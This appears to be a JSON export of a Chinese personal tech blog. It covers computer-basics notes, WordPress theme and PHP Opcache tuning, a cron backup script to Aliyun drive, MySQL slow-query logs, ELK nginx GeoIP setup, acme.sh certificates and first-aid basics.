算法中的指令描述的是一个计算,当其运行时能从一个初始状态和(可能为空的)初始输入开始,经过一系列有限而清晰定义的状态,最终产生输出并停止于一个状态.一个状态到另一个状态的转移不一定是确定的.随机化算法在内的一些算法,包含了一些随机输入 数据结构 线性结构/线性表—>两种特殊的线性表 堆栈/栈:FILO(先进后出) 队列:FIFO(先进先出) 树/层次 物理数据结构 顺序结构 链接结构 微型计算机 微型计算机的主要性能指标 主频即时钟频率,是指计算机CPU在单位时间内发出的脉冲数,单位是赫兹(Hz)字长越长主频越高速度越快 字:CPU一次存取加工和传送的数据称为一个字 字长是指计算机的运算部件能同时处理的二进制数据的位数,字长越长,计算精度越高 内核数指CPU内执行指令的运算器和控制器的数量,多核是多个运算器 内存容量是指内存储器中能存储信息的总字节数 运算速度其单位由MIPS(每秒10的6次方条指令百万级别)和BIPS(每秒10的9次方条指令十亿级别)存取周期越短速度越快 总线(BUS)是计算机各功能部件之间传送信息的公共通信干线 数据总线:传输数据,数据总线的宽度决定了字长 地址总线:数据地址,地址总线决定了可寻址的内存容量,一根地址线代表一个位(bit)几位宽度的地址总线可寻址的范围是2的n次方地址单元 通用串行总线(USB总线)连接简单快捷、热插拔、成本低、速度快、外设供电、设备数量多(串口理论可以连接127个设备) 新一代信息技术 云计算 概念:一种按照使用量付费的模式,这种模式提供可用的、便捷的、按需的网络访问,进入可配置的计算资源共享池(资源包括网络,服务器,存储,应用软件,服务等),这些资源能够给被快速提供,只需要投入很少的管理工作,或与服务供应商进行很少的交互 特点 按需服务 极其廉价 规模大 虚拟化 可靠性高 通用性强 可伸缩性(可扩展性) 服务模式 基础架构即服务(IaaS)将云计算机的内存、I/O设备、存储、计算能力整合成一个虚拟的资源池,为用户提供所需的存储资源和虚拟化服务器等服务例如:云存储,云主机,云服务器,位于云计算服务的最底端 平台即服务(Paas)将软件研发的平台作为一种服务,例如:云数据库,位于云计算服务的中间 软件即服务(SaaS)指通过互联网就直接能够使用软件应用,不需要本地安装例如:阿里云的短信服务,邮件推送,是最常见的云计算服务,位于云计算服务的顶端 部署模型 公有云:对公众开放的云服务,目前最为主流和受欢迎的云计算部署模式. 私有云:组织结构建设的仅供自己使用的云平台,不对公众提供服务. 混合云:由私有云和公有云混合组成,使用混合云计算模式,机构可以在公有云上运行非核心的应用程序,在私有云上支持其核心程序以及内部敏感数据. 关键技术 数据中心相关技术:数据中心相当于云计算的大脑.在这个系统中占有核心地位,其稳定运转对整个系统的意义不言而喻. 虚拟化技术:虚拟化技术具有资源分享、定制以及细粒度资源管理的特点虚拟机快速部署技术和虚拟化在线迁移技术是它的两项关键技术. 海量数据存储与处理技术:海量数裾的存储和处理是云计算的关键能力,需要考虑系统的I/O性能等技术参数. 资源管理与调度技术:云计算平台有庞大的数据交互、海量的数据存储和处理.这给平台的资源管理和调度带来了巨大的挑战. 服务质量保证机制:确保服务的高可靠. 安全与隐私保护技术:用户将数据存在在云计算平台上,如何保证用户数据的安全隔离,保证用户敏感数据的安全性是云计算需要考虑的问题. 大数据 概念:一种规模大到,在获取、存储、管理、分析等方面,都远远超出了传统数据库软件等工具的能力范围的数据集合,具有海量的数据规模、快速的数据流转,多样的数据类型和价值密度低等四大特征. 大数据的特征可以用4个V来总结 数据量巨大(Volume) 数据类型繁多(Variety) 处理速度快(Velocity) 价值密度低(Value) 大数据处理技术基础 大数据是技术的合集 数据产生技术 数据获取与存储技术 数据处理技术 数据呈现技术 数据处理的思维和方法的特点 不是抽样统计,而是面向全体样本 允许不精确和混杂性 不是因果关系,而是相互关系 大数据计算模式 批处理计算:针对大规模数据的批量处理 流计算:针对流数据的实时计算 图计算:针对大规模图结构数据处理 查询分析计算:大规模数据的存储管理和查询分析 物联网 物物相连的互联网,即物联网 物联网的关键技术 RFID技术 传感技术 嵌入式技术 位置服务技术 IPv6技术 物联网四大支撑技术 RFID 传感网 M2M:基于移动端的移动互联网模式 两化融合 物联网典型体系架构 感知层 网络层 应用层 物联网的应用 智能家居 智能交通 智能医疗 智能物流等 人工智能 它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学 人工智能应用领域 智能机器人 模式识别系统 染色体识别 图形识别 图像识别 语音识别 机器人视觉识别 自然语言处理程序 智能检索系统 区块链 区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式 区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式结构 基础技术 哈希运算(hash)(sha-256单向加密) 数字签名 P2P网络 共识算法 智能合约 特性 透明可信 防篡改可追溯 去信任 系统高可靠 去中心化 匿名性 开放共识 分类 共有链 私有链 联盟链 应用领域 数字金融 物流 数字版权 数字货币 虚拟现实 虚拟现实( Virtual Reality,简称VR)又称作虚拟环境,是一种利用计算机模拟产生的一个虚拟的三维世界,为用户提供关于视觉、触觉、嗅觉等感官的模拟,使用户可以即时地感知虚拟世界并与之交互. 特征 沉浸式 交互式 构想性 多感知性 关键技术 环境建模技术 立体声合成和立体显示技术 触觉反馈技术 交互技术 典型应用 教育应用 工程设计领域 医学领域 影视娱乐 军事领域 商业领域 其他相关技术 增强现实","tags":["计算机基础"]},{"title":"CorePress主题优化","path":"/2021/09/26/1b012da8/","content":"总字符数: 2.55K 代码: 1.98K, 文本: 0.21K 预计阅读时间: 10 分钟 CorePress主题优化概述优化内容: 加入了font-display: swap;属性,可确保在加载Web字体时用户可见文本. 压缩了CSS文件 利用Nginx可对js以及字体文件进行本地缓存 Webfonts字体优化123456# 下载fonts文件到主题目录下wget -P /wp-content/themes/CorePress/static https://github.com/JiangJiYue/yunwei/blob/main/webfonts.tar.gz# 解压tar -zxvf /wp-content/themes/CorePress/static/webfonts.tar.gz# 删除压缩包rm -rf /wp-content/themes/CorePress/static/webfonts.tar.gz Css文件优化12# 下载css文件到主题目录下wget -P /wp-content/themes/CorePress/static/css/ https://raw.githubusercontent.com/JiangJiYue/yunwei/main/all.min.css Utils php文件优化替换utils.php中loadiconfont_by_cdn函数内容vim /wp-content/themes/CorePress/geekframe/utils.php 1234function loadiconfont_by_cdn(){ echo '<link rel="stylesheet" href="/wp-content/themes/CorePress/static/css/all.min.css?v=' . THEME_VERSIONNAME . '">';} 优化Header php文件如果不想用主题提供的字体也可以将header.php文件中的以下内容注释掉vim /wp-content/themes/CorePress/header.php 12345678910if ($set['theme']['font'] != 'no') { echo '<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/gh/ghboke/corepresscdn@master/static/lib/font/' . $set['theme']['font'] . '/font.css">'; ?> <style> html, textarea { font-family: <?php echo $set['theme']['font']?>, PingFang\\ SC, Hiragino\\ Sans\\ GB, Microsoft\\ YaHei, STHeiti, WenQuanYi\\ Micro\\ Hei, Helvetica, Arial, sans-serif !important; } </style> <?php} 优化Nginx Conf文件1234567891011121314#缓存静态文件 location ~ .*\\.(gif|jpg|jpeg|png|bmp|ico|webp)$ { root 网站根目录; expires 30d;} #缓存静态文件location ~ .*\\.(eot|woff|woff2|ttf)$ { root 网站根目录; expires 30d;}# expires 30s; 30秒# expires 30m; 30分钟# expires 2h; 2个小时# expires 30d; 30天 优化主页缩略图alt给/wp-content/themes/CorePress/component/post-list-item.php中的$imgtag变量添加alt属性,alt内容为当前文章的标题 1234567# 修改后的代码if ($set['module']['imglazyload'] == 1) { $pathname = 'data-original'; $imgtag = '<img src="' . file_get_img_url('loading.gif') . '" data-original="' . $postitem['thumbnail'] . '" alt="'.$postitem['title'] .'">';} else { $imgtag = '<img src="' . $postitem['thumbnail'] . '"alt="'.$postitem['title'] .'">';} 优化友情链接无ul/wp-content/themes/CorePress/index.php 12345<div class="frinds-links-list"> <ul> <?php wp_list_bookmarks('title_li=&categorize=0&show_images=0&category=' . $set['index']['links_ids']); ?> </ul></div> wp-content/themes/CorePress/static/css/main.css 12/*文件中的.frinds-links li Css样式替换为下面 */.frinds-links li{float: left;font-size:15px;list-style:none;margin-right:20px;margin-bottom:6px;vertical-align:middle}","tags":["优化"],"categories":["生活记录","杂项"]},{"title":"Linux-定时备份网站数据文件到阿里云盘","path":"/2021/09/25/29286f5a/","content":"总字符数: 4.02K 代码: 2.46K, 文本: 0.56K 预计阅读时间: 13 分钟 Aliyunpan介绍 仿Linux shell文件处理命令的阿里云盘命令行客户 支持以下特色功能: 多平台支持,支持Windows,macOS,linux(x86/x64/arm)等 阿里云盘多用户支持 支持文件网盘,相册网盘无缝切换 支持导入/导出功能,快速备份(导出)和恢复(导入)网盘的文件 下载网盘内文件,支持多个文件或目录下载,支持断点续传和单文件并行下载 上传本地文件,支持多个文件或目录上传,支持排除指定文件夹/文件(正则表达式)功能 备份本地文件,支持备份本地文件夹到网盘中,保持本地文件和网盘文件同步.常用于嵌入式或者NAS等设备. 12345678910111213### 以下有部分操作图片中没有,按照教程来就可以# 进入opt目录cd /opt# 下载安装包wget https://download.fastgit.org/tickstep/aliyunpan/releases/download/v0.0.2/aliyunpan-v0.0.2-linux-amd64.zip# 解压unzip aliyunpan-v0.0.2-linux-amd64.zip# 重命名文件夹mv aliyunpan-v0.0.2-linux-amd64/ aliyunpan/# 进入aliyunpan目录cd aliyunpan/# 运行aliyunpan./aliyunpan aliyunpan. 登录首先,必须先登录.目前支持使用RefreshToken进行登录,RefreshToken可以参考以下步骤获取,以Chrome浏览器为例,其他浏览器类似.打开阿里云盘网页并进行登录,然后F12按键打开浏览器调试菜单,选择应用,在左边选择本地存储,找到token refresh_token 使用login -RefreshToken=你的RefreshToken值登录 aliyunpan_login. 之后输入exit退出 aliyunpan_exit. 编写脚本1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556# 新建shell文件vim /opt/backup.sh#!/bin/bash# -------------------------------------------------------------------------------# FileName: backup.sh# Describe: 用于备份网站相关数据# Revision: 终极版# Date: 2021/09/26# Author: 江霁月的私人小屋# 设置mysql的登录用户名和密码(根据实际情况填写)WEB_PATH=/home/wordpress-1258894728.cos.ap-beijing.myqcloud.com #网站根目录ALIYUNPAN_PATH=/backup #阿里网盘内的文件夹路径MYSQL_USER="root" #数据库用户MYAQL_PASSWORD="" #数据库密码MYSQL_HOST="localhost" #数据库IP(本地)MYSQL_PORT="3306" #数据库端口BACKUP_DIR=/opt/wordpress/backup #备份到哪个目录DATE=`date +%Y%m%d%H%M` #时间#14天前的时间ALI_DATE=`date +%Y%m%d%H%M -d '-14 day'`#删除云端数据(14天以前的数据)MYSQL_ALI="mysql_backup_$ALI_DATE.sql"WEB_ALI="WEB_$ALI_DATE.tar.gz"/opt/aliyunpan/aliyunpan rm $ALIYUNPAN_PATH/$MYSQL_ALI $ALIYUNPAN_PATH/$WEB_ALI# 删除本地备份数据(删除7天以前的备份数据)echo "正在删除7天以前的本地备份数据!!!"find $BACKUP_DIR -mtime +7 -type f -name '*.sql' -exec rm -rf {} \\;find $BACKUP_DIR -mtime +7 -type f -name '*.tar.gz' -exec rm -rf {} \\;# 备份全部数据库mysqldump -h$MYSQL_HOST -u$MYSQL_USER -p$MYAQL_PASSWORD -P$MYSQL_PORT --all-databases >$BACKUP_DIR/mysql_backup_$DATE.sqlif [ $? -eq 0 ]; then echo "备份成功,时间:" $(date +"%Y-%m-%d %H:%M:%S") #备份html文件 tar zcPf $BACKUP_DIR/WEB_${DATE}.tar.gz $WEB_PATH if [ $? -eq 0 ]; then echo "备份网站根目录成功,路径:$BACKUP_DIR/WEB_${DATE}.tar.gz" if [ $? -eq 0 ]; then # 调用aliyunpan上传备份的文件 /opt/aliyunpan/aliyunpan upload $BACKUP_DIR/mysql_backup_$DATE.sql $BACKUP_DIR/WEB_${DATE}.tar.gz $ALIYUNPAN_PATH else echo "上传文件出错,请检查日志!!!" fi else echo "备份网站根目录出错,请检查日志!!!" fielse echo "备份数据库出错,请检查日志!!!"fi# 修改backup.sh文件权限chmod 755 /opt/backup.sh Crontab123vim /etc/crontab#每天早上2点执行数据库和html备份脚本0 2 * * * root /opt/backup.sh > /opt/backup.log 2>&1 & aliyunpan_upload. 查看阿里网盘上传是否成功. 文件名对不上是因为这个脚本被我改版过很多次,图片截图时间也不一样略过就好 aliyunpan_content. 下载阿里网盘文件/目录12345# aliyunpan download <网盘文件或目录的路径1> <文件或目录2> <文件或目录3> ...# 将阿里云盘中2021-09-25 08:22的WEB和数据库文件下载到本地/opt/aliyunpan/aliyunpan download /backup/WEB_202109250813.tar.gz /backup/mysql_backup_202109250813.sql# 下面这个和上面一样不过命令简短# aliyunpan d <网盘文件或目录的路径1> <文件或目录2> <文件或目录3> ... 下载路径请看输出信息!!! aliyunpan_download_file.","tags":["Centos","运维","Mysql","数据库","Shell"],"categories":["安全运维","Linux"]},{"title":"Linux-MySQL开启慢查询日志","path":"/2021/09/24/bee72ce8/","content":"总字符数: 2.22K 代码: 1.43K, 文本: 0.48K 预计阅读时间: 8 分钟 前言MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值(long_query_time,单位:秒)的SQL语句.默认情况下,MySQL不启动慢查询日志.本文简单介绍如何开启慢查询日志,如何用mysqldumpslow分析慢查询. 参数说明12345slow_query_log #慢查询开启状态,ON开启,OFF关闭slow_query_log_file #慢查询日志存放的位置(这个目录需要MySQL的运行帐号的可写权限,一般设置为MySQL的数据存放目录)long_query_time #查询超过多少秒才记录 默认10s ,查询命令 SHOW VARIABLES LIKE 'long_query_time';log_queries_not_using_indexes = 1 #表明记录没有使用索引的 SQL 语句# 重点说明:开启慢日志版本要高,低版本无法支持,本次版本是:5.5.68-MariaDB mdb_version 配置开启慢查询编辑MySQL配置文件my.cnf如果不知道my.cnf文件在哪可以用find命令查找:find / -name my.cnf 在[mysqld]字段下加入: 1234long_query_time=1 #表示记录查询超过1s的sqlslow_launch_time=1 #表示如果建立线程花费了比这个值更长的时间,slow_launch_threads 计数器将增加slow_query_log=ON #开启慢查询日志slow_query_log_file=/var/lib/mysql/slow_queries.log #慢查询日志记录文件 注意:慢查询的日志记录文件对于mysql用户必须可写!!! 12345678MariaDB [(none)]> show variables like 'slow_query%';+---------------------+------------------------+ Variable_name Value +---------------------+------------------------+ slow_query_log OFF slow_query_log_file VM-8-7-centos-slow.log +---------------------+------------------------+2 rows in set (0.01 sec) 测试1234567MariaDB [(none)]> select sleep(2);+----------+ sleep(2) +----------+ 0 +----------+1 row in set (2.00 sec) 123456789[root@VM-8-7-centos ~]# cat /var/lib/mysql/slow_queries.log/usr/sbin/mysqld, Version: 5.7.34-log (MySQL Community Server (GPL)). started with:Tcp port: 0 Unix socket: /var/lib/mysql/mysql.sockTime Id Command Argument# Time: 2021-08-20T10:01:18.841053Z# User@Host: root[root] @ localhost [] Id: 3# Query_time: 2.023306 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0SET timestamp=1629453678;select sleep(2); 删除慢查询日志慢查询日志的删除方法与通用日志的删除方法是一样的.可以使用mysqladmin命令来删除.也可以使用手工方式来删除.mysqladmin 命令的语法如下mysqladmin -uroot -p flush-logs 执行该命令后,命令行会提示输入密码.输入正确密码后,将执行删除操作.新的慢查询日志会直接覆盖旧的查询日志,不需要再手动删除. 数据库管理员也可以手工删除慢查询日志,删除之后需要重新启动MySQL服务. 通用查询日志和慢查询日志都是使用这个命令,使用时一定要注意,一旦执行这个命令,通用查询日志和慢查询日志都只存在新的日志文件中.如果需要备份旧的慢查询日志文件,必须先将旧的日志改名,然后重启MySQL服务或执行mysqladmin命令","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"ELK收集nginx日志并展示来源IP地图","path":"/2021/09/19/2dd5e334/","content":"总字符数: 4.91K 代码: 3.39K, 文本: 0.33K 预计阅读时间: 16 分钟 修改Nginx配置文件1234567891011121314151617181920# 修改日志模式 # json 为规则名字 escape=json 设置日志文件格式为json log_format json escape=json '{"@timestamp":"$time_iso8601",' '"domain":"$host",' '"host":"$server_addr",' '"clientip":"$remote_addr",' '"remote_user":"$remote_user",' '"request":"$request",' '"request_method":"$request_method",' '"uri":"$uri",' '"request_time":"$request_time",' '"status":"$status",' '"http_referrer":"$http_referer",' '"body_bytes_sent":"$body_bytes_sent",' '"xff":"$http_x_forwarded_for",' '"http_user_agent":"$http_user_agent",' '"upstream_addr":"$upstream_addr",' '"upstream_response_time":"$upstream_response_time"}'; # 将上方的规则名称写到最后 access_log /var/log/nginx/access.log json; 添加高德地图1.编辑kibana配置文件kibana.yml,最后面添加 12# 默认情况下kibana使用"Elastic Maps Service"显示地图模块,要使用其他服务提供商的模块可以通过修改"map.tilemap.url"实现,下面是修改为高德地图 map.tilemap.url: 'http://webrd02.is.autonavi.com/appmaptile?lang=zh_cn&size=1&scale=1&style=7&x={x}&y={y}&z={z}' 配置logstash 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061# 进入工作目录cd /opt# 下载GeoLite2数据库wget https://raw.githubusercontent.com/texnikru/GeoLite2-Database/master/GeoLite2-City.mmdb.gz# 解压文件gunzip GeoLite2-City.mmdb.gz# 将GeoLite2移动到logstash目录下mv GeoLite2-City.mmdb /usr/local/elk/logstash/config/# 修改logstash配置文件vim /usr/local/elk/logstash/default.conf# 监听5044端口作为输入input { beats { port => "5044" }}# 数据过滤filter { json { source => "message" remove_field => [ "message" ] #删除重复的message收集. } mutate { split => { "request" => " " } } mutate { add_field => { "httpversion" => "%{[request][2]}" } } mutate { #这里应该是选取xff,这里没有可以删掉, split => { "xff" => "," } } mutate { add_field => { "realip" => "%{[xff][0]}" } } geoip { source => "clientip" target => "geoip" #填写自己的GeoLite2数据库目录 database => "/usr/local/elk/logstash/config/GeoLite2-City.mmdb" #获取经纬度 add_field => ["[geoip][coordinates]","%{[geoip][longitude]}"] add_field => ["[geoip][coordinates]","%{[geoip][latitude]}"] } mutate { convert => [ "[geoip][coordinates]", "float" ] }}# 这是ElasticSerach服务的监听端口output { elasticsearch { hosts => ["192.168.10.129:9200"] index => "nginx-%{+YYYY.MM.dd}" #根据项目名称动态创建索引 }} geoipgeoip 是 object 类型,它有几个子字段,含义如下: geoip.city_name:城市 geoip.continent_name:大陆名称 geoip.country_iso_code:国家编码 geoip.location:经纬度坐标,必须是:geo_point 类型 geoip.region_iso_code:地域编码 geoip.region_name:地域名称 扩展程序是谷歌的 https://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?utm_source=chrome-ntp-iconhttps://chrome.google.com/webstore/detail/elasticsearch-head/ffmkiejjmecolpfloofpjologoblkegm?utm_source=chrome-ntp-icon 12345678910111213141516171819202122232425262728293031323334353637383940# 创建一个名为geoip的模板http://192.168.10.129:9200/_template/geoip/# index_patterns:索引名称# ignore_malformed 如果true,格式错误的地理位置被忽略.如果false(默认),格式错误的地理位置引发异常并拒绝整个文档此字段需要配置成true,以防地理格式错误导致文档被拒绝{ "index_patterns": [ "nginx*" ], "order": 10, "mappings": { "properties": { "clientip": { "type": "ip" }, "geoip": { "dynamic": true, "type": "object", "properties": { "location": { "type": "geo_point", "ignore_malformed": "true" }, "coordinates": { "type": "geo_point", "ignore_malformed": "true" }, "ip": { "type": "ip" } } } } }, "aliases": { "nginx": {} }} 以下就代表模板创建成功 Kibana加载地图","tags":["应急响应","日志分析","ELK","数据可视化"],"categories":["应急响应","日志分析"]},{"title":"救护概论","path":"/2021/09/13/a68cee5c/","content":"总字符数: 1.62K 代码: 无, 文本: 1.28K 预计阅读时间: 6 分钟 现场救护定义 最初的治疗和救护 在医务人员到来之前 现场救护目的 保存生命 防止情况恶化 减少进一步的损害或伤害 改善预后 促进恢复 骨折的基本原则 不要轻易去搬动病人 如果被物体压住了,遵守第一目的,保存生命,快速将人员拖出来或将物体移走 如果没有二次损伤的情况遵守第二目的,防止情况恶化 现场救护原则 环境安全或者自身安全 防止交叉感染,有效地收集伤病员的污染物 及时合理的救护,先救命后治伤 心理支持,有效的沟通安抚 认真倾听伤病员的诉说,不随意的打断,可以点头或者是简单的应答表示在听 用文稳重的语气与伤病员说话,让伤病员能够听到,但不要喊叫 伤病员由于受到惊吓,可能会拒绝他人的靠近,救护者可以先和伤病员保持一定的距离,等得到异允许之后再靠近 呼叫救护者之后要守护和安慰伤病员,直到救护车的到来 救护的时候要告诉伤病员采取的措施,让伤病员放心 情况允许时,可帮助伤病员与自己的亲友联系,请他们来协助救护 集体协作 拨打急救电话 取来急救设备.如自动体外除颤器 维护现场安全.如放置安全指示牌,疏散旁观者 帮助控制出血.如压迫止血,固定伤肢等 保管伤病员的财物 如有确实的必要协助转运伤病员到安全的地点.现场其他人可能没有接受过急救的培训,会害怕或者是不知道能做些什么在请求他人帮助和指挥他人时,语气要稳重,指令要简短而明确,以使它们能够镇定并准确的执行指令 事故现场是否存在危险因素 交通事故当中受损的汽车是否有起火爆炸或者是再次倾覆的危险 是否有脱落的高压电线或者是其他带电的物体 是否有化学物质,腐蚀性物质,放射性物质等 是否发生自然灾害的可能.比如说洪水,泥石流,海啸,雷电等 地面是否湿滑,是否有磕绊的杂物或者是锐利的金属和玻璃等 地震后的建筑物是否牢固,有无倒塌的危险 其他危险因素,比如说环境是否酷暑,严寒,有无毒蛇,野蜂等 防护措施 关掉受损汽车的开关,防止起火爆炸.同时拉起手刹,防止汽车滑动 抢救触电者时,设法切断电源 穿戴防护装备 在室外遇到雷雨天气时,避开高压线,大树,不要使用手机 在极端的环境中要注意防暑或者是降温 如果遇到不能够排除的危险,要立即呼救争取救援 现场救护流程 评估环境 自我保护 检查患者的基本反应 迅速拨打电话进行求助 通过横纵坐标和明显标识物明确位置 明确说明发生事故的情况 伤病人数和基本伤情 清楚告知呼救者电话 不要主动挂电话 无意识: 打开呼吸道 头后仰 抬下颌 检查呼吸:时间约10秒 有呼吸的话,检查循环 脉搏 一般情况下检查颈动脉 有没有严重的大出血情况 从头到脚由内而外的详细检查 应急救护的程序D-R-A-B-C-D-E 评估环境(Danger) 检查反应(Response) 检查气道(Airway) 检查呼吸(Breathing) 检查循环(Circulation) 检查清醒程度(Disability) 详细检查伤情(Exposure) 现场救护注意事项 对患者进行救助是要充满自信 对伤病员要做到一视同仁 注意对伤病员财物的保护 做好对急救人员的心理建设 从技能和知识上丰富自己 自我保护 对安全的预知 三大精神 人道 博爱 奉献","categories":["生活记录","杂项"]},{"title":"Linux-利用acme为阿里云dns域名颁发泛域名证书","path":"/2021/09/11/c592c859/","content":"总字符数: 0.93K 代码: 0.36K, 文本: 0.20K 预计阅读时间: 2 分钟 克隆acme 1git clone https://hub.fastgit.org/acmesh-official/acme.sh.git 使用阿里云域API自动签发证书首先,您需要登录您的阿里云帐户以获取您的 API 密钥. https://ram.console.aliyun.com/manage/akhttps://ram.console.aliyun.com/manage/ak 12export Ali_Key="sdfsdfsdfljlbjkljlkjsdfoiwje"export Ali_Secret="jlsdflanljkljlfdsaklkjflsa" 好的,让我们现在颁发证书: 12acme.sh --set-default-ca --server letsencrypt --issue -d example.com -d *.example.com -d www.example.com --dns dns_ali --reloadcmd "nginx -s reload"#--reloadcmd 是重启Apache/Nginx的命令请根据自身的命令修改 阿里云的Ali_Key和Ali_Secret将被保存~/.acme.sh/account.conf,需要时会被重用. 如图所示已经颁发成功了,绿色的是代表你的证书和私钥的存放位置,一般3个月会自动更新一次,如果网站还是没有ssl的话请检查Nginx/Apache的配置文件或手动重启","tags":["优化","SSL","安全加固"],"categories":["安全加固"]},{"title":"Linux-Opcache参数配置优化加速网站访问","path":"/2021/09/09/84bc0e75/","content":"总字符数: 4.70K 代码: 1.07K, 文本: 2.02K 预计阅读时间: 13 分钟 如果想要网站响应速度快,肯定少不了进行网站优化,比如开启各种缓存,像Memcached缓存,Opcache缓存等等.这里记录一下Opcache设置教程. 什么是Opcache呢?Opcache 的前生是 Optimizer+ ,它是PHP的官方公司 Zend 开发的一款闭源但可以免费使用的 PHP 优化加速组件. Optimizer+ 将PHP代码预编译生成的脚本文件 Opcode 缓存在共享内存中供以后反复使用,从而避免了从磁盘读取代码再次编译的时间消耗.同时,它还应用了一些代码优化模式,使得代码执行更快.从而加速PHP的执行. PHP的正常执行流程如下 request请求(nginx,apache,cli等)–>Zend引擎读取.php文件–>扫描其词典和表达式 –>解析文件–>创建要执行的计算机代码(称为Opcode)–>最后执行Opcode–> response 返回 每一次请求PHP脚本都会执行一遍以上步骤,如果PHP源代码没有变化,那么Opcode也不会变化,显然没有必要每次都重新生成Opcode,结合在Web中无所不在的缓存机制,我们可以把Opcode缓存下来,以后直接访问缓存的Opcode岂不是更快,启用Opcode缓存之后的流程图如下所示: Opcode cache 的目地是避免重复编译,减少 CPU 和内存开销. 下面介绍Opcache的安装12341、找到opcache的扩展,我的是php7.4yum list php74*2、安装扩展yum install php74-php-opcache.x86_64 -y PHP配置文件12[root@centos opt]# find / -name php.ini #查找php.ini文件位置 /etc/opt/remi/php74/php.ini 编辑配置文件,找到[opcache] 加入 1opcache.enable=1 此参数的值为 1 代表开启 Opcache,值为 0 代表关闭 Opcache,默认值为 1. 1opcache.memory_consumption=512 此参数的值代表 Opcache 占用内存的大小,单位是 MB,默认值为 64.建议根据服务器内存情况来设置 1opcache.interned_strings_buffer=64 此参数的值的单位是 MB,默认值为 8,建议根据服务器内存大小,设置一个大于 64 的值即可. PHP 使用了一种叫做字符串驻留(string interning)的技术来改善性能.例如,如果你在代码中使用了 1000 次字符串 foobar,Zend 引擎在第一次使用这个字符串时会分配一个不可变的内存区域来存储这个字符串,之后的 999 次都会直接引用这个内存区域,而不需要重复创建. 1opcache.max_accelerated_files=3000 Zend 引擎在第一次执行某 PHP 文件后,会将该文件的 OPcode 存储在哈希表中,之后的请求直接从哈希表中找到相应文件的 OPcode,从而达到性能优化,而此配置选项决定了可以存储的 PHP 文件数量上限. Zend 引擎对此配置参数的真实取值是在质数集合 { 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987 } 中找到的第一个大于等于参数值的质数,例如设置此参数的值为 222,则真实取值为 223. 那么如何知道我们应用中的 PHP 文件数量呢?进入应用目录,一般这里指的是进入我们WordPress的站点根目录,使用如下命令即可查看应用中的 PHP 文件数量: 123[root@VM-8-7-centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# cd /root/jiangjiyue/wordpress-1258894728.cos.ap-beijing.myqcloud.com/ [root@VM-8-7-centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# find . -type f -print grep php wc -l 1292 PHP 文件数量为 1292,所以我将该参数的值设置为 3000. 1opcache.validate_timestamps=0 如果此参数的值设置为 1,那么 Zend 引擎在收到请求时,会每隔一段时间检测一次被请求的 PHP 文件是否已更新.如果文件已更新,就会重新对该文件进行语法分析、编译等步骤,生成新的 Opcode. 检测的周期是根据另一个参数 opcache.revalidate_freq 而定的,每次检测都是一次 stat 系统调用,众所周知,系统调用会消耗一些 CPU 时间,并且 stat 系统调用会进行磁盘 I/O,更加浪费性能. 不仅如此,假设你对服务器中的 PHP 文件进行了一次大量的更新,更新的过程中部分旧的文件会因为未过期而依然生效,和部分已生效的新文件混合在一起产生作用,必然会产生不确定因素,带来很多麻烦,所以建议将此参数的值设置为 0 . 不过需要注意的是,设置为 0 后,无论你怎么更新文件,Zend 引擎都会使用已缓存的 Opcode,除非重启 php-fpm 或使用 opcache_reset() 方法清空缓存,当然下面我也会提供Opcache-gui(通过Web界面管理,可以重置缓存) 1opcache.save_comments=1 如果禁用,脚本文件中的注释内容将不会被包含到操作码缓存文件, 这样可以有效减小优化后的文件体积. 禁用此配置指令可能会导致一些依赖注释或注解的 应用或框架无法正常工作, 比如: Doctrine, Zend Framework 2 以及 PHPUnit.所以这里启用 1opcache.file_update_protection=0 当 Zend 引擎执行某 PHP 文件时,如果该文件的 Modify 时间戳 距当前时间的差值小于此参数的值,则该文件不会被缓存,此参数值的单位为秒,默认为 2. 此参数的目的是为了防止文件还未修改完成就被 Opcache 缓存了,从而产生错误.而实际生产环境中,我们将 opcache.validate_timestamps 设置为 0,文件只要被访问一次,就会被永久缓存,除非重启 php-fpm 才会刷新缓存,所以此参数没什么用,还浪费性能,建议设置为 0. 1opcache.huge_code_pages=1 众所周知,Linux 系统默认内存是以 4KB 进行分页的,而虚拟地址和内存地址是需要转换的,转换过程需要进行查表,CPU 为了加速查表会内建 TLB(Translation Lookaside Buffer),而 TLB 的大小是有限的,分页越小,表里的条目也就越多,TLB 的 Cache Miss 也就越高. 所以我们如果启用大内存页,就能间接降低 TLB 的 Cache Miss,而 Opcache 也能使用 Hugepage 来缓存 Opcodes,从而达到性能优化的目的. 此参数值为 1 即可开启以上功能,默认值为 0. 设置完后还没正式开启,需要系统开启 Hugepage 功能,使用如下命令可以查看当前系统 Hugepage 的信息: 123456[root@centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# cat /proc/meminfo grep Huge AnonHugePages: 133120 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB 可以看到 HugePages_Total 等参数的值为 0,也就是未开启 HugePages 功能. 运行如下命令即可开启 HugePages,其中 128 代表 HugePages 的大小,单位是 MB: 1sysctl vm.nr_hugepages=128 建议根据服务器内存情况进行分配 HugePages,例如服务器是 2G,设置为 128,可以自行参考进行设置 最终配置 Opcache-gui这里使用的gui界面是amnuts分享的 123456# 进入opt目录cd /opt# 安装gityum install -y git# 克隆项目到本地wget https://github.com/amnuts/opcache-gui.git 然后将项目中的index.php移到您的 Web 服务器可以加载的位置.然后将浏览器指向该位置,例如https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/Opcache-gui-zn.php一定要重启PHP-FPM服务如图: 我将此文件进行了大概的汉化 